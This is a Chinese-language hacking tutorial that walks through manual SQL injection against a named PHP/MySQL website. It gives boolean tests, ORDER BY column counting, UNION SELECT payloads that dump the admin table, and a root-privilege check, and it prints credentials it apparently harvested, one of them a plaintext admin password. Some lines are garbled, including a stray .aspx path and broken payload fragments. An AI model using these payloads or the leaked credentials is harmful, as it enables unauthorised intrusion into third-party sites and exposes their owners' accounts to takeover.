大家早上好!,H。U。C-枫 又和大家见面啦//
本来早想做这个教程的,因为前段时间做过一套mssql的手工注入教程。今天给大家带来的是php+mysql
手工注入。临时找了个点,所以有些东西不能全给大家演示。以后有机会再给大家补充些教程。
这个就将就看吧。
目标站点:
http://www.doczj.com/doc/7b381bef48d7c1c708a145e0.html/myWeb/news_cont.php?nId=37
1 判断:and 1=1 and 1=2 判断不用说了吧。上次看到有人在论坛提问这个判断原理。
or 1=1 or 1=2 其实在网页原码里sql查询的原型是
select * from 表名 where $id='"7"' 注意单引号。字符型的才有''
我们提交 and 1=1 时就变成了
select * from 表名 whrer $id=xxx and 1=1 xxx 是id=后面的数据。
select * from 表名 whrer $id=xxx 结果为‘真’ 1=1 结果为‘真’ 全句结果是不是都为真呢。
and 1=2 当然为假了 and 两边有一个为假就是假,整句结果就为假,那么就是返回 错
select * from 表名 whrer $id=xxx or 1=1 同理整句也是为真的,但是,or和and不一样的地方是,当两边
都为真是 那么数据库是选择那个结果呢,不能确定,所以会返回随机一个页面。 and 要两边同理为真,没有选择
性 select * from 表名 whrer $id=xxx or 1=2 时,只是前面值为真,所以返回的是原来的页面。
我是这么理解的,大家怎么理解呢...、
好了,扯远了。
and 1=1 正确,and 1=11 错。
看清楚了,or 1=1 不是同一个页面。 or 1=11 是的原页面一样,说明有注入漏洞。。
2 爆字段数 order by x 5正确,6出错,说明是5个字段。
我就直接打字了,看我操作。
让他报错,其实手工注入只是灵活些,有时候加了注释和不加注释,和编码的
问题就可以解决工具不能跑的问题。
and 1=2 union select 1,2,3,4,5 mysql 注入,后面是可以不加表名就可以报的,当然加了存在的表名也是可以的。
and 1=2 union select 1,2,3,4,5 from admininfo 这个表是存在的,而且就是这个站的admin表。
更直接的方法就是,找后台。猜字段。passwd,username 一般一些站的列名都和这个表单的名字一样的。这
个站也不例外。直接爆下看吧,
3 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
/**/ej`/**/192
d:\学工系统\web\WebSite\ClassMasterPage\ClassInfo.aspx:9
username内容:12
password内容:6fe97759aa27a0c9
username内容:admin
password内容:Dongshao520
username内容:test
password内容:cbadfa8bda1bcb8f
操作系统信息:
%20and%201=2%20union%20select%201,@@global.version_compile_os,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
数据库权限:
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
4 查用户版本裤名:user()数据库用户名,version()版本,database()数据库名